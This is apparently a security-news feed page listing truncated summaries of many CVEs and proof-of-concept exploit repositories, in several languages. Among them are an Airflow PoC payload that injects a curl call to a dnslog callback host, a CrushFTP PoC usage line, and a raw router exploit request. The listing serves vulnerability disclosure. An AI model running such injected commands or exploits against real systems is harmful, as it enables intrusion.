CVE-2026-81283 WordPress WP User Frontend plugin <= 4.3.10 - PHP Object Injection vulnerability

Subscriber PHP Object Injection in WP User Frontend = 4.3.10 versions...

EUVD-2026-69922

Subscriber PHP Object Injection in WP User Frontend = 4.3.10 versions...

CVE-2026-81283

WP User Frontend is a WordPress plugin affected by a PHP Object Injection vulnerability in versions 4.3.10 and below . The vulnerability requires low privileges (subscriber-level access), no user interaction, and a low attack complexity, making it accessible to any authenticated subscriber on a s...

CVE-2024-4040

CVE-2024-4040 CrushFTPのすべてのバージョン（10.7.1未満および11.1.0未満）において、すべてのプラットフォームで、サーバーサイドテンプレートインジェクションの脆弱性が存在します。これにより、認証されていないリモート攻撃者がVFSサンドボックスの外部にあるファイルシステムからファイルを読み取り、認証をバイパスして管理者アクセスを取得し、サーバー上でリモートコード実行を行うことが可能です。 使用方法 root@kitploit: python poc -u https://example.com -p /path/to/file.txt...

Log4j_CVE-2021-44228

Log4j の脆弱性は、「Log4Shell」または「CVE-2021-44228」としても知られ、Apache Log4j ライブラリにおける重大なセキュリティ欠陥です。Log4j は広く使われている Java ベースのロギングフレームワークであり、開発者はアプリケーションからのメッセージをファイル、データベース、コンソール出力などのさまざまな宛先に記録できます。 この脆弱性は2021年12月に発見され、その深刻度と悪用の可能性から大きな注目を集めています。影響を受けるのは Log4j 2.x 系で、場合によってはそれ以前のバージョンも影響を受けます。Log4j...

Atlassian_CVE-2022-26134

OGNLインジェクションによるConfluenceの事前認証リモートコード実行（CVE-2022-26134） 2022年5月30日、Volexityという組織が、AtlassianのConfluence ServerおよびData Centerエディションに、認証なしのRCE脆弱性（NISTで9.8点）を確認しました（https://www.atlassian.com/software/confluence）。...

CVE-2024-3400

CVE-2024-3400 脆弱性 説明 CVE-2024-3400 は、PAN-OS ファイアウォールのバージョン 10.2、11.0、11.1 に影響を与えるセキュリティ脆弱性です。この脆弱性は、GlobalProtect ゲートウェイとデバイス テレメトリの設定が有効になっている場合に悪用されます。攻撃者はこの脆弱性を利用して悪意のあるコマンドを実行し、システムのセキュリティを侵害する可能性があります。 技術的詳細 CVE : CVE-2024-3400 影響を受ける製品 : PAN-OS ファイアウォール バージョン 10.2、11.0、11.1 影響 :...

CVE-2024-1874

CVE-2024-1874 CVE-2024-1874 の概念実証 procopen の配列形式の $command パラメータを介したコマンドインジェクション（CVE-2024-1874 修正の回避） The CVE: PHP バージョン 8.1. の 8.1.29 未満、8.2. の 8.2.20 未満、8.3. の 8.3.8 未満において、CVE-2024-1874 の修正は、コマンド名に末尾のスペースが含まれる場合に機能しません。元の問題: procopen...

CVE-2022-25064

CVE-2022-25064 TP-LINK TL-WR840N RCE - oalwan6setIpAddr 함수를 통한 원격 코드 실행 POC root@kitploit: POST /cgi?2&2&2 HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 Macintosh; Intel Mac OS X 10.15; rv:95.0 Gecko/20100101 Firefox/95.0 Accept: / Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3...

CVE-2023-43482

CVE-2023-43482 TP-Link ER7206 Omada 千兆 VPN 路由器 uhttpd freeStrategy 命令注入漏洞 摘要 Tp-Link ER7206 Omada 千兆 VPN 路由器 1.3.0 build 20230322 Rel.70591 的访客资源功能中存在一个命令执行漏洞。特制的 HTTP 请求可导致任意命令执行。攻击者可以通过发送身份验证后的 HTTP 请求来触发此漏洞。 已确认存在漏洞的版本 以下版本已经由 Talos 测试或验证存在漏洞，或由供应商确认存在漏洞。 Tp-Link ER7206 Omada 千兆 VPN 路由器 1.3.0...

CVE-2022-40127

CVE-2022-40127 Apache Airflow .env docker-compose up airflow-init docker-compose up -d waiting some times open localhost:8080 PoC 1 examplebashoperator root@kitploit: "fxoxx":"";curl uname.lxx2.535ld4zn.dnslog.pw;"" dnslog 経由 PoC 2...

CVE-2026-82958

In Eclipse Ditto versions 1.3.0, 3.9.6, the ImplicitThingCreationMessageMapper of the connectivity service builds a CreateThing command by substituting placeholder values e.g. header:deviceid resolved from inbound message headers into a pre-configured JSON "thing" template as raw, un-escaped...

glpi-logbleed

glpi-logbleed GLPI の履歴ログフィルターにおけるブラインド SQL インジェクション。CVE-2026-53629。11.0.8 および 10.0.26 で修正され、9.4.0 以降で発生。 logs の READ 権限を持つ任意のアカウントが必要。標準の Read-Only プロファイルにはこの権限があります。 セキュリティアドバイザリ: GHSA-cpcj-x335-5cmh 解説記事: 見つけた経緯 バグ Log::convertFiltersValuesToSqlCriteria は affectedfields フィルターを key:operator:valu...

CVE-2026-44680-MikroORM-SQL-Injection-Exploit-Framework

CVE-2026-44680 - MikroORM SQLインジェクションエクスプロイトフレームワーク セキュリティ研究者向けプロフェッショナルなProof-of-Conceptツール 🔍 概要 CVE-2026-44680 は、Node.js向けの人気TypeScript ORMであるMikroORMに影響を及ぼす重大なSQLインジェクション脆弱性です。このエクスプロイトフレームワークは、セキュリティ研究者やペネトレーションテスターに、脆弱性を検出および悪用するためのプロフェッショナルなツールを提供します。 作者: Sudeepa Wanigarathna バージョン: 1.0.0 分...

CVE-2026-10170-RCE

Visitor Management System 1.0 - SQLiからリモートコード実行への攻撃チェーン 脆弱性情報...

sxwp2shell

/ / / / / / | |/ / / / / / / / / / | // / / / / / / / / / / / / // | / /// / // // / // / /|| sxwp2shell — 通过 REST API 批处理路由混淆（CVE-2026-63030）+ SQL 注入（CVE-2026-60137）对 WordPress 进行预认证 RCE 漏洞利用。 受影响版本：WP 6.9.0–6.9.4 / 7.0.0–7.0.1 安装 root@kitploit: git clone...

CVE-2023-22496-PoC

CVE-2023-22496 — Netdata Agent OS コマンドインジェクション PoC 重要度 : 重大 CVSS 9.8 影響を受けるバージョン : Netdata Agent 修正版 : v1.37.0 種類 : OS コマンドインジェクション CWE-78 概要 CVE-2023-22496 は、Netdata のヘルスアラート通知システムにおける OS コマンドインジェクションの脆弱性です。ストリーミングチェーン内の任意のノードの registryhostname がサニタイズされずにシェルコマンドに挿入されます。Netdata の設定ファイルで registry...

CVE-2021-41647

CVE-2021-41647 CVE-2021-41647 SQL Injection in Online-Food-Ordering-Web-App The Online-Food-Ordering-Web-App is vulnerable to un-authenticated error and time-based blind SQL Injection attacks. The username parameter on the /login.php page does not sanitize the user input, an attacker is able to...

CVE-2022-22947-Spring-Cloud-Gateway-SpelRCE

CVE-2022-22947-Spring-Cloud-Gateway-SpelRCE CVE-2022-22947 の概要 root@kitploit: 危険度：高リスク POC/EXP状況：公開済み CNVD番号：CNNVD-2022-16402 影響範囲： Spring Cloud GateWay 3.1.0 Spring Cloud GateWay =3.0.0，=3.0.6 Spring Cloud GateWay 3.0.0 脆弱性の説明 Spring Cloud Gateway にはリモートコード実行の脆弱性が存在します。この脆弱性は Spring Cloud Gatewa...

CVE-2026-33331

CVE-2026-33331 — oRPC OpenAPI Reference Plugin における格納型XSS orpc の OpenAPI ドキュメント生成における格納型XSSの概念実証ラボ 目的 oRPC は OpenAPI 仕様から API ドキュメントページを構築します。v1.13.9 より前のバージョンでは、JSON.stringify を使用して HTML エンコードなしで仕様を直接 タグに出力していました。攻撃者が制御できる info.description などのフィールドは、そのタグを早期に閉じてスクリプトを実行できました。...